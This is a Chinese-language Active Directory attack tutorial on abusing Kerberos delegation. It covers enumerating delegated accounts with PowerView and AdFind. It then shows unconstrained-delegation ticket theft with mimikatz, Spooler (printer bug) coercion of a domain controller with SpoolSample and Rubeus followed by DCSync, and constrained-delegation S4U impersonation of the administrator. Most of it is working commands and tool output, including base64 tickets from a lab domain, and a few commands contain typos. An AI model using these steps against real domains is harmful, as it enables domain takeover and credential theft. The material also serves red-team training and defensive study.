委派攻击
非约束性委派 Unconstrained Delegation
对于非约束性委派 (Unconstrained Delegation),服务账号可以获取被委派用户的TGT,并将TGT缓存到LSASS进程中,从而服务账号可使用该TGT, 模拟该用户访问任意服务。非约束委派的设置需要SeEnableDelegation
特权,该特权通常仅授予域管理员 。
配置了非约束性委派属性的机器账号的userAccountControl
属性有个Flag位 WORKSTATION_TRUST_ACCOUNT | TRUSTED_FOR_DELEGATION,其对应的数是0x81000=528384。
配置了非约束性委派属性的服务账号的userAccountControl
属性有个Flag位 NORMAL_ACCOUNT | TRUSTED_FOR_DELEGATION, 其对应的数是0x80200=524800。
查找非约束性委派的主机以及服务账户
通过PowerView.ps1
Import-Module .\PowerView.ps1
Get-NetComputer -unconstrained -Domain sunset.com
Get-NetUser -Unconstrained -Domain sunset.com | select name
通过ADFind
AdFind.exe -b "DC=sunset,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
AdFind.exe -b "DC=sunset,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
通过LDAPdump
利用
如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员(社会工程、钓鱼邮件等等)来访问该机器,然后可以得到管理员的TGT(因为这台机器被配置为非约束委派,它有权保存访问它的用户的 TGT),从而模拟管理员访问任意服务,相当于拿下了整个域环境
当前主机server01
拥有TRUSTED_FOR_DELEGATION
使用域管用户访问(社会工程学)server01
使用mimikatz
导出票据(需要管理员用户)
将票据到入内存中,清除票据、PTT、查看导入的票据
kerberos::purge
kerberos::ptt <kirbi>
kerberos::list
访问DC
非约束委派 + spooler printer
通常非约束委派需要管理员访问,但是可以利用Spooler强制指定主机进行连接
- 攻击者发现并破坏了具有 Kerberos 无约束委派的系统。请注意,如果攻击者破坏了受信任林(具有双向信任)中的域控制器,则可借此破坏其他林。
- 攻击者测试并发现运行打印后台处理程序(Spooler)服务的域控制器。
- 攻击者将 MS-RPRN 请求
RpcRemoteFindFirstPrinterChangeNotification
(Kerberos 身份验证)发送到 DC 的打印服务器。 - DC 立即向请求者发送响应。此响应涉及 DC 创建 Kerberos 服务票证 (TGS),其中包含域控制器的计算机帐户 Kerberos 身份验证票证 (TGT),因为涉及 Kerberos 并且请求帐户配置了无约束委派。
- 攻击者现在拥有域控制器计算机帐户 Kerberos TGT,可用于模仿 DC。
- DCSync所有帐户凭据(或根据需要涉及 DA 凭据的其他攻击)。
Spooler默认是开启的
首先查看域内配置非约束委派主机,和上边一样,使用ADFind
或者Powerview
查看域控是否运行Spooler
,可以使用imparket
的rpcdump
⚡ root@kali ~ rpcdump.py sunset.com -target-ip 192.168.111.167 | egrep 'MS-PAR|MS-RPRN'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
使用Rubes
监听来自域控的4624
登录日志
Rubeus.exe monitor /interval:1 /filteruser:DC
使用SpoolSample.exe
向域控发起请求,并强制域控向server01
发起认证
Rubeus.exe monitor /inertval:1 /filteruse:DC$ > shell.txt
// 不一定要本机
SpoolSample.exe DC server01
得到票据后将票据导入
Rubeus ptt /ticket:xxxx
导入后查看可用票据,那么我们就拥有域控主机的TGT
票据,域控计算机对计算机账户有DCSync
权限
使用mimikatz
导出域内HASH
方法 | 可用于 dir \\DC\c$ | 可用于 DCSync | 关键区别 |
---|---|---|---|
非约束委派 + Spooler | ❌ 否 | ✅ 是 | TGT 仅限于被委派,不能用于 NTLM 认证(无法访问 SMB 共享) |
非约束委派 + 社会工程 | ✅ 是 | ✅ 是 | 通过交互式访问可能获得 NTLM 认证所需的凭据 |
约束委派
由于非约束委派的不安全性,微软在Server 2003中发布了受限约束委派
- 配置了非约束性委派的机器账号的
userAccountControl
属性有个FLAG位 WORKSTATION_TRUST_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1001000=16781312。 - 配置了非约束性委派的服务账号的
userAccountControl
属性有个FLAG位 NORMAL_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION,其对应的数是0x1000200=16777728。
查找约束委派的主机或服务账号
使用Powerview
import-module
get-domaincomputer -trustedtoauth -doamin sunset.com | select name
// 貌似这个也行
get-netcomputer -trustedtoauth -doamin sunset.com | select name
// 账号
Get-Domainuser -TrustedToAuth -domain sunset.com | select name
Get-netuser -TrustedToAuth -domain sunset.com | select name
使用ADFind
// 计算机
AdFind.exe -b "DC=sunset,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
// 账户
AdFind.exe -b "DC=sunset,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
或者使用ldapdump
利用环境
由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT,所以只能模拟用户访问特定的服务,但是如果能拿到约束委派用户(或主机)的密码或者Hash,就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2
域控 DC:192.168.111.167
受约束委派机器SERVER01:192.168.111.151
受委派域用户wakaka
首先将域控上将域用户wakaka
组成成为SPN服务账号
查看是否注册成功
设置wakaka用户约束委派属性,可访问域控cifs
服务
查看wakaka
账户flag(通过ADSI查看)
当被设置约束委派的时候会比非约束委派多一个属性:msDs-AllowedToDelegateTo
并且userAccountControl的flag位为 NORMAL_ACCOUNT | TRUETED_TO_AUTHENTICATE_FOR_DELEGATION
使用kekeo + mimikatz
当我们知道wakaka用户的明文密码或者hash的时候我们可以请求他的TGT
// 密码
tgt::ask /user:wakaka /domain:sunset.com /password:xxxxxx
// hash
tgt::ask /user:wakaka /domain:sunset.com /NTLM:xxxxxxxx
如果不知道该用户密码hash,如果有权限,也可以使用mimikatz将密码dunp下来也行
然后通过wakaka的TGT伪造S4U请求以administrator的身份访问域控cifs的ST
tgs::s4u /tgt:TGT_wakaka@SUNSET.COM_krbtgt~sunset.com@SUNSET.COM.kirbi /user:Administrator@sunset.com /service:cifs/DC.sunset.com
S4U2Self获取到的ST1以及S4U2Proxy获取到的域控CIFS服务的ST2会保存在当前目录下,然后我们用mimikatz将ST2导入当前会话即可
使用mimikatz将ST票据导入
访问域控
使用 Rubeus
https://github.com/GhostPack/Rubeus?tab=readme-ov-file#s4u
使用asktgt获得wakaka用户TGT
Rubeus.exe asktgt /user:wakaka /password:xxxxx /domain:sunset.com /outfile:ticket.kirbi
通过S4Uself
伪造administrator向wakaka请求,获得administrator的TGS
Rubeus.exe s4u /user:wakaka /ticket:ticket.kirbi /impersonateuser:administrator
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: S4U
[*] Action: S4U
[*] Building S4U2self request for: 'wakaka@SUNSET.COM'
[*] Using domain controller: DC.sunset.com (192.168.111.167)
[*] Sending S4U2self request to 192.168.111.167:88
[+] S4U2self success!
[*] Got a TGS for 'administrator' to 'wakaka@SUNSET.COM'
[*] base64(ticket.kirbi):
doIFNDCCBTCgAwIBBaEDAgEWooIEVjCCBFJhggROMIIESqADAgEFoQwbClNVTlNFVC5DT02iEzARoAMC
AQGhCjAIGwZ3YWtha2GjggQeMIIEGqADAgEXoQMCAQKiggQMBIIECJMQBPsrbWB5s64loExC6tsgKS62
FOSZVugqn0b+Ja/2d+KI4SpCDiFBzIkIboR4SYH/+1RM0L+L4MQgJS5jpJkYT6XmPaMROiE2CMc2zyv4
lBfMZPlF2hATJxIJ9jXVfiD0k2XWytLzZLaaC+IJHSueW6YS9yMGcYLRD4F1BJ72W7QEye26eMJwE3uv
hjppplkxdtIdQAUIwMqwDAPj9M9VLc7yOngOCLnPxHCfigMMvDBnANmP6fD1zpRmsbeTA7ZW0kNfnJv1
4+N2UseUJGL7k/7BUIIZy5rfNZk3AsqBT13gbBUcfZBpxaNzY/Gq6BkhmZuejiImf2ZnLovJHIU6CCvq
zm1yP12aV/RqEucwmSWu+UKvOQlGzITey2dcRp5/jffkvDvjKyuyDFZsgBjS3Mnc6g+SF0NFtPykJQ9S
SpOtxNrMMbrqPhRUC02qMaDI/Obox3SdRZr2bPPFom+KtPTTy9i8kzalCgEUAGTfU7PUm7gxOtE9G4OL
G9f8FK9jiPdrB4AF2gYSbK4JOF6HKUgrPZdu0kgs+uxyWL7DjXIkGjvT4wg0B3/+J13RGz4fmd1kfkCB
goIpPn3PtN/bdrP8Grwbg34/aWc+CvZadlWcBqsYDOUItL8VXL7K4SUobkVlAVpSTYBuvUAi3mvX0fSh
JZSFz0moRKUDYwuIAxboHE4EYBDUJB0onCecFUWXOJ8sDCLJcQ0x9kcS6iTzaTepf57WZGPYjSDFs15v
3PPsLNoAGSxr9VWXkDwZbVi8iDDIkmzCeMRr9nvVQ5VJJg+DF1k2pvuxIJA8SGznxAEI2cuxqzAia1eH
4KB5o0YcSkSrcni8sIVMuPhMqWsgApngL/ZMs/NCwGbc2ZhzksPjeGTICo5bKiIwLVt4rdl5jkiikFYa
2YWV2/aWqZsIknNQWsuC0Oie7UCZJrWfwLdav58JSuWxMhM23cFxR3bH3tFfjwRZWZx7JG4NGmKpCO+i
uaD8/DNUxYw4Y2yBJrY79Gcdfuwuhzd4kXUATiqXoA88gIsNIbsFQ1mmdmIz4dtDDUGXcJFJ09wvzmT0
95uLQSQJTJbpyRr9mGzlpHICQFSHaenw4m7m9Tf/nPQ51rAI+lo4WvKqnBvtLSFi//0GQZEiEKN1+7AJ
B0ktX4ak5NRwNP1OUyLax2Zv5ei+E763S7Zw7hlhMG+3Uquxyk4pn/EGA7LtRT7jz5gqvAhb8eIE37v2
2gGAgh1NDL4dYjU9gUMtDUTA0yDZEgSC9WKof91pzqbEE/ZCmX41++0NNde8pXXhHNGetTfbTHslOxyP
VCuKNwRtdlBD11DQLTd/R0HKVsysG2vLBzKfiVkJSXCHOwFDa+oOHzWFUQnZ3B70oMAEyaOByTCBxqAD
AgEAooG+BIG7fYG4MIG1oIGyMIGvMIGsoBswGaADAgEXoRIEEESMbWs9/qolsG0M71JnzZ2hDBsKU1VO
U0VULkNPTaIaMBigAwIBCqERMA8bDWFkbWluaXN0cmF0b3KjBwMFAEChAAClERgPMjAyNTAzMDIwNjM3
NTFaphEYDzIwMjUwMzAyMTYzMzAyWqcRGA8yMDI1MDMwOTA2MzMwMlqoDBsKU1VOU0VULkNPTakTMBGg
AwIBAaEKMAgbBndha2FrYQ==
再通过S4Uproxy
Rubeus.exe s4u /ticket:ticket.kirbi /msdsspn:"cifs/DC.sunset.com" /tgs:tgs..... /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.2
[*] Action: S4U
[*] Action: S4U
[*] Loaded a TGS for SUNSET.COM\administrator
[*] Impersonating user 'administrator' to target SPN 'cifs/DC.sunset.com'
[*] Building S4U2proxy request for service: 'cifs/DC.sunset.com'
[*] Using domain controller: DC.sunset.com (192.168.111.167)
[*] Sending S4U2proxy request to domain controller 192.168.111.167:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/DC.sunset.com':
[+] Ticket successfully imported!
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
aWZzGw1EQy5zdW5zZXQuY29t
访问域控
一键导入
Rubeus.exe s4u /user:wakaka /ticket:ticket.kirbi /impersonateuser:administrator /msdsspn:"cifs/DC.sunset.com" /ptt